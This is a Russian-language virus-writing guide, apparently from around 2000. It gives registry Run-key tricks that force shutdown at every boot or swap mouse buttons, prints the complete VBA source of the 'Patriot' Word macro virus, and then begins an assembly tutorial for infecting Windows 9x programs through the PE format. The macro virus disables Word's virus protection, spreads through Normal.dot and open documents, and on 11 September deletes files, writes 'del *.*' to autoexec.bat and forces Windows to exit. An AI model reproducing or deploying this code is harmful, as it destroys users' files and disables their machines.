Секреты написания вирусов и троянов

 

Что такое вирус?
Компьютерным вирусом называется программа (некоторая совокупность выполняемого кода/инструкций), которая способна создавать свои копии (не обязательно полностью совпадающие с оригиналом) и внедрять их в различные объекты/ресурсы компьютерных систем, сетей и т.д. без ведома пользователя. При этом копии сохраняют способность дальнейшего распространения.

Разновидности вирусов
Вирусы можно разделить на классы по следующим признакам:
» по среде обитания вируса вирусы делятся на сетевые, файловые и загрузочные. Сетевые вирусы распространяются по компьютерным сетям, файловые внедряются в исполняемые файлы, загрузочные поражают загрузочный сектор диска. Бывают комбинированные вирусы, например файлово-загрузочные.
» по способу заражения среды обитания вирусы делятся на резидентные и нерезидентные. резидентные - наиболее опасны. При инфицировании такой вирус оставляет в памяти компьютера свою резидентную часть, которая перехватывает обращения операционной системы к объектам заражения и заражает их. Нерезидентные вирусы не заражают память компьютера.
» по деструктивным возможностям вирусы делят на безвредные, неопасные, опасные и очень опасные. Безвредные вирусы никак не влияют на работу компьютера, они могут только распространяться; Неопасные - выводят на экран различные текстовые и графические эффекты и т.п.; Опасные - приводят к сбоям в работе компьютера; Очень опасные - могут привести к потере данных или физическому повреждению компьютера.
» по особенностям алгоритма вируса выделяют следующие группы: компаньон-вирусы (companion) - это вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл. При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. вирусы-“черви” (worm) - вирусы, которые распространяются в компьютерной сети и, так же как и компаньон-вирусы, не изменяют файлы или сектора на дисках. Они проникают в память компьютера из компьютерной сети, вычисляют сетевые адреса других компьютеров и рассылают по этим адресам свои копии. Такие вирусы иногда создают рабочие файлы на дисках системы, но могут вообще не обращаться к ресурсам компьютера (за исключением оперативной памяти).
“паразитические” - все вирусы, которые при распространении своих копий обязательно изменяют содержимое дисковых секторов или файлов. В эту группу относятся все вирусы, которые не являются “червями” или “компаньон”.
“студенческие” - крайне примитивные вирусы, часто нерезидентные и содержащие большое число ошибок;
“стелс”-вирусы (вирусы-невидимки, stealth), представляющие собой весьма совершенные программы, которые перехватывают обращения OS к пораженным файлам или секторам дисков и “подставляют” вместо себя незараженные участки информации. Кроме этого, такие вирусы при обращении к файлам используют достаточно оригинальные алгоритмы, позволяющие “обманывать” резидентные антивирусные мониторы.
“полиморфик”-вирусы (самошифрующиеся или вирусы-призраки, polymorphic) - достаточно труднообнаруживаемые вирусы, не имеющие сигнатур, т.е. не содержащие ни одного постоянного участка кода. В большинстве случаев два образца одного и того же полиморфик-вируса не будут иметь ни одного совпадения. Это достигается шифрованием основного тела вируса и модификациями программы-расшифровщика.
“макро-вирусы” - вирусы этого семейства используют возможности макро-языков, встроенных в системы обработки данных (текстовые редакторы, электронные таблицы и т.д.). В настоящее время наиболее распространены макро-вирусы заражающие текстовые документы редактора Microsoft Word.

Симптомы вирусного заражения
Основные симптомы вирусного поражения следующие:
Замедление работы некоторых программ.
Увеличение размеров файлов (особенно выполняемых).
Появление не существовавших ранее “странных” файлов.
Уменьшение объема доступной оперативной памяти (по сравнению с обычным режимом работы).
Внезапно возникающие разнообразные видео и звуковые эффекты.
Потеря данных, невозможность открытия некоторых файлов.

 

 

 

 

 

 

1. Компьютер не включается
Если быть точнее, то включается, но сразу выключается. Как этого добиться? Нет ничего проще: открываем редактор реестра (c:\windows\regedit.exe), открываем ключ HKEY_LOCAL_MACHINE, ветвь Software\microsoft\windows\current version\run, создаем в этой ветви строковый параметр с любым именем и задаем его значение равным rundll user.exe,exitwindows. Все. Теперь при следующей загрузке компьютера система вызовет команду exitwindows и произойдет выключение компьютера.

2. Больная мышь
Хотите, чтобы клавиши мыши всегда менялись местами? Легко: Как и в предыдущем совете, в ключе Software\microsoft\windows\current version\run, создаем строковый параметр и задаем его значение равным rundll user.exe,swapmousebutton. Все. Теперь при следующей загрузке компьютера система вызовет команду swapmousebutton и кнопки мыши поменяются местами.

 

 

 

Макровирусы
Dирусы этого семейства используют возможности макро-языков, встроенных в системы обработки данных (текстовые редакторы, электронные таблицы и т.д.). В настоящее время наиболее распространены макро-вирусы заражающие текстовые документы редактора Microsoft Word. В последнее время получили распространение "консольные" макровирусы. Эти вирусы содержатся в макросах различных компьютерных игр, имеющих консоль, таких как Quake или Unreal. В настоящее время антивирусные программы не способны обнаруживать такие вирусы.

Основы "макровирусописания" на VBA
Что является основной функцией вируса? Конечно размножение. Как осуществить размножение тела вируса из VBA? Очень просто - с помощью встроенных функций Lines, InsertLine, DeleteLine.
Наиболее проблемным вопросом в написании вирусов является его незаметность. Мы не будем рассматривать здесь способы сокрытия макровируса от антивирусных программ, но приведем пример, как отключить предупреждение MS Word о макросах и возможных вирусах. Всего
одна строчка кода: Application.Options.VirusProtection = False

Исходник макровируса "Патриот"
Текст представлен исключительно в образовательных целях. Автор не несет ответственности за использование этого текста.


Option Explicit
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Const EWX_FORCE = 4



'Vita brevis - ars longa

Private Sub Document_Open()
On Error Resume Next
Dim AD As Object, NT As Object
Dim DeadLine As String
Dim i As Integer
Const AEB = "c:\autoexec.bat"
Const IDString = "'Vita brevis - ars longa"
Const IDStringNum = 5
DeadLine = Format(Date, "ddmm")
With Application
.Options.VirusProtection = False
.Options.SaveNormalPrompt = False
End With
Set AD = Application.ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Set NT = Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
If NT.Lines(IDStringNum, 1) <> IDString Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
Application.NormalTemplate.Save
End If
For i = 1 To Application.Documents.Count
If Application.Documents(i).VBProject.VBComponents.Item(1).CodeModule.Lines(IDStringNum, 1) <> IDString Then
Application.Documents(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.Documents(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Application.Documents(i).VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
If Left(LCase(Trim(Application.Documents(i).Name)), 3) <> "doc" And Right(LCase(Trim(Application.Documents(i).Name)), 3) = "doc" Then Application.Documents(i).Save
End If
Next
If Left(DeadLine, 2) = "11" And Right(DeadLine, 2) = "09" Then
If System.Country = 7 Then
End
ElseIf System.Country = wdUS Then
SearchAndKillFiles "*.*"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Patriot") = "rundll user.exe,exitwindows"
Open AEB For Append As FreeFile
Print #1, "del *.*"
Close
ExitWindowsEx EWX_FORCE, 0
Else
SearchAndKillFiles "*.doc"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Patriot") = "rundll user.exe,swapmousebutton"
ExitWindowsEx EWX_FORCE, 0
End If
End If
End Sub



Private Sub Document_Close()
Document_Open
End Sub



Private Sub SearchAndKillFiles(Filter As String)
Dim i As Integer
On Error Resume Next
With Application.FileSearch
.FileName = Filter
.LookIn = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Personal")
.Execute
For i = 1 To .FoundFiles.Count
Kill .FoundFiles(i)
Next i
End With
End Sub

 

 

 

Вирусно-ориентированное руководство по низкоуровнему программированию

под Windows 9x

======================================================================

D I S C L A I M E R

Данное руководство написано только в целях удовлетворения любопытства чита-

тателей. Автор не несет никакой ответсвенности за использование материалов

руководства читателем

в целях, противоречащих Законодательству РФ .Если вы не согласны

с данными условиями то должны немедленно удалить файлы данного руководства

с ваших носителей информации.

Введение

Полазив по просторам Internet я заметил , что там нет русскоязычных руководств

по созданию вирусов под Windows'9x. (не надо меня упрекать в невежестве -

я не обязан знать все сайты )

Вот и решил я написать такое руководство. Данное руководство рассчитано

на программистов интересующихся саморазмножающимися програмными механизмами,

и желающих узнать о секретах создания вирусов под Windows'95. Опять же,

автор КАТЕГОРИЧЕСКИ против того, чтобы вы использовали эти материалы в

целях , противоречащих законодательству РФ. Я надеюсь что вы далеки от мысли

о распространении вирусов. Не стоит подрывать нашу гибнущую экономику.

Постарайтесь чтобы ваши вирусы не распространились за пределы вашего жесткого

диска.

Данное руководство также будет полезно людям, желающим написать свой анти-

вирус. Рекомендуется в качестве лекарства вирусофобам. :) Ведь люди бояться

вирусов в основном из-за того, что мало знают о них. Мы часто опасаемся

того, о чем имеем смутные представления.

Создание (но не распространение!) компьютерного вируса - довольно инте-

ресная задача и хорошая разминка для мозгов. Многие программисты проходят

через этот этап в своей жизни.

Данное руководство не является чистым руководством по написанию вирусов.

Основной целью этого руководства является научить читателя программирова-

нию под Windows'9x на ассемблере, поскольку , как говорилось выше, русско-

язычных руководств на эту тему я не встречал.

Здесь будет рассказано о API функциях и методе их вызова, о том как нахо-

дить их адреса,о "взломе" нулевого кольца и о защищенном режиме процес-

соров . Также вы найдете здесь много другой полезной информации.

Поскольку даннное руководство не является справочником, вам очень рекомен-

дуется иметь под рукой следующую литературу (можно в электронном виде :) ) :

Win32s Programmer's Reference

Windows DDK Documentation (лежит на www.microsoft.com)

Interrupt List

Из программного обеспечения:

Turbo Assembler 5.0 for Windows (tasm32.exe)

Turbo Linker32 (tlink32.exe) + import32.lib

Windows DDK Include Files (*.inc)

SoftIce 4.0 For Windows 95/98/NT (для отладки ваших программ)

Вообще, вам бы очень не помешал полный комплект Windows 98 DDK, а не

только DDK Documentation+Include Files .

Windows 95 - новые горизонты

Помните как все было замечательно в те времена когда на компьютере

господствовала MS-DOS ? Практически не существовало вирусов под Windows 3.11

и все писали под DOS. Да, было время когда авторы вирусов жили без забот

и лишь эвристический анализатор DR.WEBa иногда вставал на пути начинающих

вирмейкеров.

Да, на дворе 2000 год, DOS как мы знаем,умер. Это отрицательно сказалось

на популяции вирмейкеров в нашей стране. Windows был всем в новинку,

никто о нем ничего не знал - это была совершенно новая платформа....

Многие вирмейкеры, решив что справиться с Windows они не в состоянии

просто ушли с вирусной сцены... Совковая сцена загнила и .... умерла.

Сейчас вирусы под WINDOWS пишут буржуйские вирмейкеры и очень мало

русских вирмейкеров, пишущих под Windows.

Многие считают, что программирование под Win95 на асме - дело муторное

и неблагодарное. Но это не так. Писать под Windows на асме действительно

посложнее,чем под DOS, особенно это касается создания вирусов.Ведь Билли

объявил Windows 95 незаражаемой ОС. Но теперь то мы знаем,что она не такая

уж и незажаражаемая. Яркий пример тому - вирус Win95.CIH

Во время программирования вирусов под Windows вы встретите массу препятствий,

но отчаиваться не стоит . ЭТО ВОЗМОЖНО.

Сейчас я могу , положа руку на сердце, сказать, что Windows 95 побеждена

трудолюбивыми и любопытными вирусописателями. Но это вовсе не значит что

беспощадная война между Биллом и вирмейкерами выиграна. Впереди нас еще

ждет Windows 2000

Все идет к тому,что все низкоуровневые кодеры должны всерьез заняться програм-

мированием под Win32. Это руководство полсужит хорошим учебником для начи-

нающих Win32 кодеров

======================================================================

Вирусно-ориентированное руководство по низкоуровнему программированию

под Windows 9x

======================================================================

Память в Windows'95. Вызов API функций

В этом руководстве далее под словом Windows95 будет пониматься также и

Windows'98 т.к. по внутренней организации они идентичны.

Windows'95 использует так называемую FLAT модель памяти. Это означает,что

в отличии от DOS, программы Windows при обращении к памяти не используют

Сегмент. Вместо старого DOS способа обращения вида Segment:Offset , те-

перь осталось только Offset. Все смещения в Windows 32 битные и соответсвен-

но могут принимать значения в диапазоне 00000000h - FFFFFFFFh

Таким образом, при программировании под Windows вам не надо будет использо-

вать сегментные регистры.

Вот примеры обращения к ячейкам памяти.

mov edi,4081A76Ch

mov [byte ptr edi],cl ; записали значение cl по адресу 4081A76Ch

mov [word ptr edi],cx ; записали cx по тому же адресу

mov [dword ptr edi],ecx; записали ecx по тому же адресу

Можно также использовать относительную адресацию:

mov [ebp+edi],eax

Вобщем, способы адpесации остались такими же

Большинство программ в Windows загружается с адреса 40000000h.

В windows 95, память pаспpеделяется следующим обpазом:

00000000h - 3FFFFFFFh - Код и данные пpиложений

40000000h - 7FFFFFFFh - Общая память ситемные DLLs

80000000h - FFFFFFFFh - Ядро ОС (Kernel), драйверы

Прежде чем мы с вами напишем первую программу под Windows , необходимо

рассмотреть еще одну вещь - вызов API функций.

API функции (Application Programming Interface functions) - это основа

всех основ. Программистам под Windows они нужны не меньше чем прерывания

программистам под DOS. Без API функций вы не в состоянии сделать ничего -

ни вывести сообщение на экран, ни поработать с файлами,вы даже не в состоянии

завершить работу вашего приложения - одним словом,вы без них как без рук.

Описания всех API функций можно найти в Win32s Programmer's Reference.

Рассмотрим вызов API функции на примере MessageBoxA.

Заглянув в Win32 Programmer's Reference, найдем описание этой функции:

MessageBox - Displays a message box on the screen

int MessageBox(

HWND hwnd // handle of owner window

LPCTSTR lpText // Address of text in message box

LPCTSTR lpCaption // Adress of caption in message box

UNIT uType // Style of Message Box

);

Return Values:

Function returns button user pressed.

Все API функции ,возвращающие одно значение , а не несколько( например дата)

возвращают это значение в регистре EAX.

В нашем случае, в EAX будет помещена цифра,сообщающая о том какую кнопку(

например, Cancel ) нажал пользователь.

API функции используют последовательность вызова языка Pascal, это значит,что

параметры,которые вы передаете функции надо запихивать в стек в обратном

порядке ( сначала uType, потом lpCaption и т д)

Функция сама очистит стек перед выходом.

Несмотря на то,что параметры данной фунции имеют такие страшные типы,все

они имеют тип DWORD (double word).

Итак, мы должны вызывать эту функцию следующим образом:

push MB_OKCANCEL ; utype - окно имеет 2 кнопки OK, CANCEL

lea eax,lpCaption ; eax=offset lpCaption

push eax ; Caption address,caption defined as follows: lpCatpion db 'Caption',0

lea eax,lpText ;Text string address

push eax

push <Large> 0 ; <Large> означает, что надо запихнуть 32 битное значение

call MessageBoxA

В результате выполнения этого кода,на экране появиться Message Box.

При возвращении из функции, EAX будет содержать кнопку,которую выбрал

пользователь.

Хочу обратить ваше внимание,что имена API функций чувствительные к

регистру. Для Windows эти 2 функции являются разными: MessageBoxA и

Messageboxa.

Вообще, при программировании под Windows все ваши идентификаторы,объявленные

в программе должны быть чувствительны к регистру.

Для того,чтобы выйти из программы используется функция ExitProcess:

;---

Push <Large> 0

Call ExitProcess

;---

Замечание: Хоть в описаниии функция называется MessageBox, на самом

деле, ее имя MessageBoxA . 'A' на конце имени показывает,что эта функция

ANSI В Windows 95 есть и другие функции. Они не заканчиваются

символом 'A' .' W ' присутствует в Wide-функциях

Функция ExitProcess не заканчивается символом A.

Итак, теперь можно приступить к созданию вашей первой прграммы под Win95

на ассемблере. Программы под Windows95, в общем виде выглядят следующим

образом:

;=============Cut here ================================================

.386P

.Model Flat , STDCall

.data

;< Ваши переменные >

.code

Start:

; <Исполняемый код>

End Start

;==============Cut here =================================================

Необходимость наличия раздела .data в вашей прграмме связана с тем,

что вы не можете писать в раздел .code ,как в старину. Windows запретит

вам это делать,таким образом, поместив переменные в .code , вы просто

не сможете их изменять. Раздел .data в свою очередь, не может исполняться.

Наличие раздела .data и раздела .code обязательно, иначе транслятор отка-

жется компилировать вашу программу.

В принципе, существует одна маленькая хитрость,которая позволяет вирусо-

писателям писать в раздел .code , но об этом я расскажу попозже. Пока

представьте , что вы вовсе совсем даже не вирмейкер, а просто добрый

и порядочный программист, соблюдающий Microsoftские правила. :)

Итак, давайте напишем программу, по традиции, выводящую MessageBox с

надписью Hello, World! и завершающую выполнение.

Написание программы начнем со строк

.386P

.Model Flat, STDCall

Что такое .386P Думаю объяснять не стоит, остановимся на директиве Model

Первое слово - Flat означает ,что используется та самая Flat модель памяти,

присущая всем программ в W95.

STDCall - (Standart Call ) означает,что процедуры будут использовать

последовательность вызова языка Pascal, то бишь параметры передаются через

стек, в обратном порядке.

Далее нам необходимо подключить файл 'win32.inc' Этот файл содержит

объявления некоторых констант, используемых программистами Windows, такие

как например MB_OKCANCEL , IDABORT и т д.

Сделать это можно с помощью директивы include:

INCLUDE win32.inc

Далее нам надо "рассказать" ассемблеру какие API функции наша программа

использует. Наша программа будет использовать всего 2 функции -

MessageBoxA и ExitProcess. "Объяснять" это ассемблеру надо следующим

образом:

extrn MessageBoxA:proc

extrn ExitProcess:proc

Здесь, директива extrn означает,что это внешние функции (содержатся в DLL)

Все используемые API функции должны описываться таким образом.

И вот только теперь мы готовы к созданию раздела .data

Объявим в нем 2 пременные - Cap и text. Эти переменные будут хранить

текст,выводимый программой на экран. Windows использует строки с завершаю-

щим нулем, поэтому и наши строки будут null-terminated. :

.data

Cap db 'My first WinProg in ASM!',0

text db 'Hello, world! ',0

Теперь напишем раздел .code

L equ <Large>

.code

start:

push MB_OK

push offset Cap

push offset text

push L 0

call MessageBoxA

push L 0

call ExitProcess

end start

Все ,наша программа готова!

Вот ее полный листинг:

;================Cut Here ================================================

.386P

.Model Flat, STDCall

INCLUDE win32.inc

extrn MessageBoxA:proc

extrn ExitProcess:proc

L equ <Large> ; пригодится для запихивания 32 битных нулей :)

.data

Cap db 'My first WinProg in ASM!',0

text db 'Hello, world! ',0

.code

start:

push MB_OK ; Сообщение содержит кнопку 'OK'

push offset Cap

push offset text

push L 0

call MessageBoxA

push L 0

call ExitProcess

end start

;=================Cut Here ============================================

Заканчивая данную статью, хочу рассказать о том как компилировать нашу

программу. Пусть , для определенности, текст прграммы содержится в файле

'myprg.asm'

Итак начнем-с....

TASM32 /ml myprg.asm

Здесь /ml означает ,что все идентификаторы чувствительны к регистру.

В результате трансляции появится файл myprg.obj

Компоновать надо так:

TLINK32 -c myprg.obj,,,import32.lib

'-c' означает тоже что и ml для tasm32

три запятые,что у мы не линкуем к проге obj,map , def файлы.

Import32.lib - это стандартный файл,поставляющийся вместе с TASM32 и необходим

для компиляции.

В результате компоновки на диске появится готовый к исполнению файл myprg.exe

Можете его запустить и любоваться свеженаписанной прогой под WIN32 :)

======================================================================

Вирусно-ориентированное руководство по низкоуровнему программированию

под Windows 9x

======================================================================

API - функции : взгляд изнутри

В предыдущих статьях вы уже познакомились с вызовом API функций.

В этой статье я хотел бы рассказать о том, как происходит процесс

вызова API- функций более подробно.

Возможно , вы не в курсе , но Билли сказал как то что "Windows 95 is

Non- infectable Operating System " , мол, хрен вы заразите мою опера-

ционку , вирмаки хреновы! И , в какой то мере, Билли был прав.

Позвольте вам напомнить, о том сколько много вирусов существет под

DOS и как мало вирусов существует под Windows'95. Возможно,вы счи-

таете , что это связано с тем , что Windows'95 еще очень молодая опе-

рационная система. Что же, да , она молодая... Но не в этом дело -

почему такое огромное число способных вирмейкеров все еще пишет под

умерший DOS ? Да и вы, видимо, читаете это руководство потому, что

еще не в состоянии написать вирус под Windows'95. Почему под Windows'95

пишутся в основном макро вирусы на BASIC и почти нет серьезных вирусов

под Windows на ассемблере ? Почему так много резидентных вирусов под

DOS почти нет таковых под Windows'95 ? А сколько полиморфных вирусов

вы встречали под DOS и сколько полиморфиков под Windows'95 ?

Да потому,что Билл действительно сделал Windows'95 почти НЕЗАРАЖАЕМОЙ!

Как же ему это удалось ? Вы думаете я просто так вам решил рассказать

подробно о вызове API - функций? Нет, потому что API функции - одно из

мощнейших средств по борьбе с вирусописателями.

Слушайте сюда. Когда программер пишет програмку под Windows'95, он

пользуется API функциями. Те API - функции , которые он использовал

записываются в особую таблицу импортируемых функций,которая находится

в заголовке EXE файла. Однажды созданная, эта таблица уже не может

быть изменена . Ну не то чтобы совсем не может быть изменена, вирмейкеры-

народ жутко умный и талантливый.... Некоторые из них, обвиняемые в програм-

мировании в особо извращенной форме, меняют эти адреса API функций в той

самой таблице импортируемых функций и устанавливают их (адреса) "на себя"

Именно такие вирусы остаются резидентно, но только пока активен зараженный

процесс! Нам это не интересно - мы хотим быть резидентными до перезагрузки

компа! Да еще , чтобы не видно нас был в панели задач , так ведь?

Но я все-таки расскажу о том как они меняют адреса API функций в

Import table... Это похоже на старый добрый interrupt hooking в DOS

Сохраняем старый адрес у себя в заднице, и меняем адрес функции на

свой.

Итак,как же выглядит вызов API функций. Вот так:

......

CALL xxxxxxxx ; вызов API функции

.....

....

....

....

xxxxxxxx: jmp [Address-In-Import-Table]

а по адресу из Import Table расположен диспетчер функци для

данной функции :

Push Function_Value ; - западло!

^^^^^^^^^^^^^^

jmp APIFUNCADDR

Мы не знаем Function_Value - приходится искать его самим

Мы же не можем в вирусе использовать Call XXXXXXXX !

Ведь aдрес XXXXXXXX будет другим для каждой зараженной проги - вирус

то будет в разных местах находится! И вынуждены делать прямые обра-

щения к диспетчеру функций....

Для этого нам надо знать адрес KERNEL32.DLL , который ,возможно,

разный для Win95 и Win98!

Кроме того, в Import Table может попросту не оказаться нужной

вирусу функции . Калькулятор врядли работает с файлами.... - вот

еще одна причина,по которой надо обращаться к диспетчеру функций

напрямую....

Теперь понимаете, почему Билл говорил о незаражаемости Win95?

Да, хорошего мало, чего говорить... Поэтому этим способом

я не пользуюсь. И не только я, автор WIN95.CIH тоже обошелся

без API функций! Да, именно, мы научились писать вирусы не

вызывая API функций!!! Правда здорово? Ну а о внутренней структуре

вызова API я рассказал вам так... для общего развития. На самом

деле, многие вирусописатели пользуются "CIHовским способом"

программирования... программирования без API функций.

Чем еще плох этот метод работы с API ? Все API вызываются только

с 3-го кольца защиты (подробнее о кольцах защиты я расскажу в следу-

ющей статье) и ваша программа имеет наименьшие привелегии. Вы не

можете остаться резидентно,как это сделал CIH, вы не сможете перех-

ватывать обращения к файлам... Вы не можете на 3 кольце делать

почти ничего - ведь Windows'95 разрабатывалась как незаражаемая!

Они все придусмотрели!

Поэтому , мы пойдем другим путем!

======================================================================

Вирусно-ориентированное руководство по низкоуровнему программированию

под Windows 9x

======================================================================

Формат файла Portable Executable

В этой статье я расскажу вам то , без чего невозможно создание вируса под

Windows'95. О формате Windows-ских EXE файлах.

Файлы *.EXE и *.DLL в Windows'95/98/2000 отличаются от привычных вам DOS-EXE

и имеют формат Portable Executable.

Этот формат используется всеми версиями Windows, начиная с Windows 95. В

Windows 3.1 использовался формат New Executable , который умер вместе c

Windows 3.1 и поэтому в данном руководстве не рассматривается.

Помните, что формат Portable Executable имеют не только EXE файлы, но и DLL.

Вот общая схема файла формата Portable Executable:

*******************************************************************

* Старый DOS - заголовок *

* DOS Программа,выодящая на экран "This is Win32 Executable" *

* Portable Executable заголовок *

* Заголовок объекта#1 *

* Заголовок объекта#2 *

* .... *

* Заголовок объекта#N *

* Тело объекта#1 *

* Тело объекта#2 *

* ...... *

* Тело объекта#3 *

********************************************************************

Для того,чтобы программа могла запускаться под DOS, и сообщать, что

она работает только под Win95, в начале файла располагается DOS - программа,

выводящaя на экран сообщение "This is Win32 executable " и завершающая ра-

боту. Естественно,что этой программе предшетсвует соответствующий DOS EXE

заголовок. Для вирмейкера под Win95, DOS-часть файла значения не имеет.

Далее следует заголовок Portable Executable , рассмотренный подробно ниже.

Исполняемый файл MS-Windows'95 сегментирован. То есть,разделен на секции.

Я их назвал объектами. Разумеется, эти объекты никакого отношения к объект-

но ориентированному программированию не имеют. Каждая секция (объект) со-

держит какую-то определенную информацию : кодовая секция содержит испол-

няемый код программы, секция данных - содержит переменные программы,

отладочная секция - информацию для отладки, секция ресурсов - различные

пиктограмки для кнопок и прочую графическую ерунду. В EXE файле может

присутствовать до 65535 секций. Сразу за Portable Executable заголовком

идут заголовки секций. Заголовок секции призван описать,что в этой секции

хранится. После всех заголовков идут ,собственно , сами секции ( их тела)

Заголовок секции также приведен в этой статье.

DOS заголовок в Portable Executable -файле (далее PE-файла) немножко

изменен: по смещению 3Ch от начала файла расположено двойное слово (dword),

в котором содержится 32 битное смещение начала PE-заголовка от начала файла.

Это единственный параметр DOS-заголовка,который нам нужен.

Рассмотрим теперь структуру PE-заголовка. Смещения полей этого заголовка

будут обозначаться от начала PE-заголовка, а не от начала файла.

Формат Portable executable заголовка

+00h Сигнатура PE - файла (равна 00004550h = 'PE',0,0)

+04h Тип процессора

+06h Количество объектов (секций) в файле

+08h Время и дата создания/модификации файла линкером

+0Ch Зарезервированно

+14h Размер NT-заголовка в байтах

+16h Флаги компиляции

+18h Сигнатура NT-заголовка

+1Ah Версия и подверсия компоновщика,создавшего этот файл

+1Ch Зарезервировано

+28h Относительный виртуальный адрес точки входа

+2Ch Зарезервированно

+34h Адрес,с которого будет загружен файл (Image Base)

+38h Величина,на которую должны быть выровнены объекты

+3Ch Величина,на которую должен быть выровнен файл

+40h Версия и подверсия Windows , на которой может работать файл

+44h Версия и подверсия Windows , на которой скомпоновали файл

+48h Версия и подверсия NT-подсистемы, на которой может работать файл

+4Ch Зарезервировано

+50h Виртуальный размер программы в байтах

+54h Полный размер всех заголовков,включая заголовки секций

+58h Контрольная сумма. Обычно устанавливается в ноль

+5Ch NT-подсистема, необходимая для запуска файла

+5Eh Флаги DLL

+60h Размер стека, необходимый программе

+64h Обязательный размер стека

+68h Размер локальной кучи,резервируемой для программы

+6Сh Обязательный размер кучи

+70h Зарезервировано

+74h Количество директорий (объясню ниже)

+78h Виртуальный адрес таблицы экспортируемых функций

+7Ch Размер таблицы экспортируемых функций

+80h Виртуальный адрес таблицы импортируемых функций

+84h Размер таблицы импортируемых функций

+88h Виртуальный адрес таблицы ресурсов

+8Ch Размер таблицы ресурсов

+90h Виртуальный адрес таблицы исключений

+94h Размер таблицы исключений

+98h Виртуальный адрес таблицы гарантий

+9Ch Размер таблицы гарантий

+A0h Виртуальный адрес таблицы настроек

+A4h Размер таблицы настроек

+A8h Виртуальный адрес таблицы отладочной информации

+ACh Размер таблицы отладочной информации

+B0h Descrition table virtal adress - что ??!!

+B4h Размер D.T.

+B8h Неизвестная мне таблица (виртуальный адрес)

+BCh Размер неизвестной таблицы ???!

Вообще,для написания вируса вам достаточно считывать только первые 78h байт

PE-заголовка. Поля , расположенные ниже, могут заинтересовать только гурманов

Некоторые поля заголовка требуют подробных объяснений. То,что я сейчас

скажу будет интересно только гурманам. :)

Итак, в заголовке есть поле 'Тип процессора' . Оно может принимать следую-

цие значения: 0000h - неизвестный проц., 014Ch - 386 , 014Dh - 486 , 014Eh-

586.

Флаги компиляции. Нижеперечисленные значения надо проверять с помощью

операции AND , чтобы определить,принадлежит ли данный флаг файлу.

0000h - программные данные

0002h - исполняемый код (если не включен - была ошибка компиляции)

0200h - если код не загружается с Image Base, не загружать

2000h - данный файл является библиотекой DLL

NT-подсистема, необходимая для запуска программы:

0000h - неизвестно

0002h - GUI

0003h - Console Application

0005h - OS/2 Console

0007h - Posix Console

Возможные значения флагов DLL:

0001h - DLL Initialization process

0002h - DLL Termination process

0004h=0001h

0008h=0002h

Теперь,что такое NT-заголовок ? Эта та часть PE-заголовка,которая начинается

со слова,обозначенного в описании PE-заголовка как Сигнатура NT-загловка.

В заголовке есть поле 'Количество директорий' .Что такое директории?

Это те объекты,которые описывают поля заголовка,по смещениям 78h - BCh

от начала PE-заголовка. Для Windows'95 количество директорий всегда

равно 10h, но в будущих версиях Windows могут появиться дополнительные

директории.

По смещению 34h от начала PE-заголовка расположенно поле,назавнное мною

'адрес,с которого загрузится файл'. В документации Microsoft , это

поле называется Image Base.

Если в DOS программа могла загружаться с любого адреса,то в Windows'95

этот адрес записан в загловке EXE файла. Значением поля Image Base и

является этот адрес - БАЗОВЫЙ АДРЕС ЗАГРУЗКИ. Для абсолютного большинства

программ, этот адрес равен 40000000h , но,например для приложений

Microsoft Office этот адрес равен 30000000h. Для программ,скомпонованных

TLINK'ом, этот адрес равен 40000000h. Вам необходимо учитывать этот адрес

при заражении программ. Теперь мы вплотную подошли к понятию

ВИРТУАЛЬНОГО АДРЕСА. Термин 'виртуальный' встречается в Windows довольно

часто и вводит многих в шоковое состояние - мало кто действительно знает,

что это такое.

Так вот, существует 2 типа адресов - ФИЗИЧЕСКИЙ и ВИРТУАЛЬНЫЙ.

ФИЗИЧЕСКИЙ АДРЕС некоторого байта - это адрес этого байта относительно на-

чала файла,в котором этот байт находится.

Пример:

Все DOS EXE файлы начинаются с символов 'MZ'. Физический адрес байта

'M' равен нулю, байта 'Z' - единицы, адрес слова 'MZ' - 0.

ВИРТУАЛЬНЫЙ АДРЕС - это адрес того же байта, но только теперь не от начала

файла, а вообще - адрес этого байта в оперативной памяти после загрузки

файла в оперативную память.

Например,если мы загрузили DOS EXE в память по адресу 40000000h , то адрес

байта 'M' равен 40000000h , а адрес байта 'Z' равен 40000001h.

Другими словами,чтобы узнать виртуальный адрес объекта,надо прибавить

к его физическому адресу адрес,с которого загружен файл с этим объектом.

Виртуальный размер объекта - это количество динамической памяти,выделенной

под объект.

Особняком здесь стоит Относительный виртуальный адрес точки входа в PE-за-

головке. Этот адрес "почти" виртуальный. Только он вычисляется относительно

Image Base, то есть он вычисляется относительно начала образа файла в

оперативной памяти. При загрузке секции файла выравниваются на определен-

ное количество байт (на величину,на которую должны быть выровнены объекты).

Адрес точки входа указывает на эту самую точку входа после выравнивания

файла в оперативной памяти. Поэтому физическим этот адрес назвать тоже нель-

зя. Ибо, из-за выравнивания адрес точки входа не соответствует положению

точки входа в файле на диске.

И последнее. В заголовке есть поле:

+3Ch Величина,на которую должен быть выровнен файл

Похоже,что это поле игнорируется Windows.

Поехали дальше.

После заголовка файла следует таблица объектов или , что то же самое, таб-

лица секций. Таблица секций состоит из заголовков секций. Каждый заголовок

секции описывает характеристики секции

Количество элементов таблицы (кол-во секций) можно найти в PE-загловке:

+06h Количество объектов (секций) в файле

После таблицы секций начинается код секций.

Формат заголовка секции.

Формат заголовка секции выглядит следующим образом:

Смещения указаны относительно начала загловка секции

